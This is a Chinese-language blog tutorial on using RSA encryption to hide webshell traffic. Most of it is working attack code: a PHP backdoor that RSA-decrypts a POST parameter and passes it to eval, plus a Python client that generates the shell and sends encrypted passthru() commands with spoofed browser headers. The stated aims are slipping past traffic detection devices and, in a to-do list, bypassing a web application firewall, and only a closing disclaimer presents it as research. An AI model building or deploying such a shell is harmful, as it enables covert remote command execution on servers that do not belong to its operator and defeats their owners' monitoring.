本文将简单介绍RSA在webshell中的使用,旨在帮助小白们快速制作自己的流量混淆工具。
关于RSA
援引百度百科对RSA的介绍:
RSA是1977年由罗纳德·李维斯特(Ron Rivest)、阿迪·萨莫尔(Adi Shamir)
和伦纳德·阿德曼(Leonard Adleman)一起提出的。当时他们三人都在麻省理工学
院工作。RSA就是他们三人姓氏开头字母拼在一起组成的RSA公开密钥密码体制的原理
是:根据数论,寻求两个大素数比较简单,而将它们的乘积进行因式分解却极其困难,
因此可以将乘积公开作为加密密钥......
具体的原理什么的就不多说了,这也不是专门介绍密码学的文章。我们只需要知道它是一个强加密,有公私匙,可以过流量检测设备就行了。
过程实践
首先使用openssl来进行公私匙的生成:
openssl genrsa -out privkey.pem 2048
openssl rsa -in privkey.pem -out publickey.pem -pubout
然后使用M2Crypto进行利用文件进行文本加密:
def pri_encrypt(msg, file_name):
rsa_pri = M2Crypto.RSA.load_key(file_name)
ctxt_pri = rsa_pri.private_encrypt(
M2Crypto.RSA.pkcs1_padding)
ctxt64_pri = base64.b64encode(ctxt_pri)
return ctxt64_pri
比如对test进行加密:
可以看到字符串已经成功的加密了。接下来就是PHP文件的处理了,一样使用openssl这个库,来操作,缺点就是需要依赖:
class Rsa {
private static $PUBLIC_KEY= "MyPubKey";
private static function getPublicKey()
{
$publicKey = self::$PUBLIC_KEY;
return openssl_pkey_get_public($publicKey);
}
public static function publicDecrypt($encrypted = "")
{
if (!is_string($encrypted)) {
return null;
}
return (openssl_public_decrypt(base64_decode($encrypted), $decrypted, self::getPublicKey())) ? $decrypted : null;
}
}
$cmd=$_POST['MyPass'];
$rsa = new Rsa();
$publicDecrypt = $rsa->publicDecrypt($cmd);
$res=eval($publicDecrypt);
这样我们的主要的文件就算写好了,下面就是编写一个简单的webshell管理工具了,代码如下(代码有点烂,能跑起来在说):
#!/usr/bin/python
# coding: utf-8
# Author: lengyi@HongHuSEC
import sys
import argparse
import requests
import base64
import M2Crypto
import os
import io
sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf-8')
def creatkey():
return os.system('openssl genrsa -out privkey.pem 2048nopenssl rsa -in privkey.pem -out publickey.pem -puboutn')
def pri_encrypt(msg, file_name):
rsa_pri = M2Crypto.RSA.load_key(file_name)
ctxt_pri = rsa_pri.private_encrypt(msg.encode(), M2Crypto.RSA.pkcs1_padding)
ctxt64_pri = base64.b64encode(ctxt_pri)
return ctxt64_pri
def get_args():
arser = argparse.ArgumentParser(prog="SimpleRSA webshell",
formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
epilog= "Usage:n1、python3 SimpleRSA_shell.py -c filename -p password n2、python3 SimpleRSA_shell.py -u url -p password")
arser.add_argument("-c", "--create", nargs='?', help="Create a webshell(default password is pass)")
arser.add_argument("-p", "--password", nargs='?',default="pass",help="Set password && Link password",dest='password')
arser.add_argument("-u", "--url", nargs='?',help="Set Url")
args = arser.parse_args()
return args
def createphpshell(shell,pwd, pubkey):
with open("demo.php","rb")as f:
shelltxt=f.read().decode()
shelltxt = shelltxt.replace("MyPass", pwd).replace(
'MyPubKey', pubkey.decode())
with open(shell, "w") as f1:
f1.write(shelltxt)
print(f"[+]php马存放在{shell},链接密码{pwd}")
def main():
args = get_args()
if (len(sys.argv) == 1):
print(f"Usage: python3 {sys.argv[0]} -h")
exit()
elif (len(sys.argv) == 5 and args.create != None):
if (os.path.exists("publickey.pem") == False or os.path.exists("privkey.pem") == False):
print("[+]正在生成公私钥对...")
if (creatkey() == 0):
print("[+]生成成功")
else:
print("[-]失败,请检查权限问题")
pubkey_file = './publickey.pem'
with open(pubkey_file, 'rb') as f:
pubkey = f.read()
createphpshell(shell=args.create.strip(), pwd=args.password.strip(), pubkey=pubkey)
elif(len(sys.argv) == 5 and args.url.strip()!=None):
prikey_file = './privkey.pem'
payload = "passthru('123');"
while (True):
encryptshell = pri_encrypt(payload, prikey_file)
data = {
args.password.strip(): encryptshell
}
headers = {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
"Connection": "keep-alive",
"Referer": "https://www.google.com.hk/",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36",
}
print(requests.post(args.url.strip(), data=data, headers=headers).text.strip())
payload = input(">")
if payload == "exit":
sys.exit()
else:
payload = f"passthru('{payload}');"
else:
exit()
if __name__ == '__main__':
main()
demo效果:
可以创建马、与进行webshell的连接。
效果
使用工具执行命令,发现可以成功的接收返回的结果:
流量如下:
TODO:
双向流量加密
命令执行bypassD盾
本文始发于微信公众号(鸿鹄实验室):RSA在webshell中的使用
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论